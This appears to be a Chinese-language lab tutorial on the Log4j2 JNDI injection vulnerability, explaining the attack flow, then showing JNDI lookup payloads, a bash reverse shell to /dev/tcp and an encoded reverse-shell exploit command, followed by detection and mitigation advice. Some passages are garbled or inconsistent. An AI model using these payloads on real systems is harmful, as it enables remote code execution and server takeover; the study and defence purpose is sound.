Log4j2远程代码执行漏洞(cve |
您所在的位置:网站首页 › 漏洞利用阶段 › Log4j2远程代码执行漏洞(cve |
前言 Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。 JNDI简单介绍 JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。 JNDI实现原理JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。格式 ${jndi:rmi:192.168.96.1:1099/wqiyua} 参考文章https://blog.csdn.net/weixin_46198176/article/details/124917641 漏洞攻击原理原理概述当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害 受影响版本Apache Log4j 2.x & /dev/tcp/ip/port 0>&1 注意“命令”必须经过编码,不然将无法实现 反弹shell漏洞利用在漏洞已经存在的情况下,构造攻击payload执行命令反弹shell bash -i >& /dev/tcp/v-ip/port 0>&1 设置监听端口在 v中打开一个页面,监听我们的对应的端口。 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}” -A 192.168.109.128 使用burpsuit抓包,替换payloadrmi://192.168.109.128:1099/xz4mwn 到Burpsuite:
1.环境安装时总遇到问题2.打开DNSlog.cn网站时遇到很多问题3.使用burp抓包与发包时遇到问题 排查1.可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为2.pom版本检查3.各种安全产品 防御方法1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。2.设置log4j2.formatMsgNoLookups=True。3.采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。4.禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。 修复方法升级到最新的安全版本:log4j-2.15.0-rc2。Apache Log4j2 官方已经发布了解决上述漏洞的安全更新,建议尽快升级到安全版本。 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |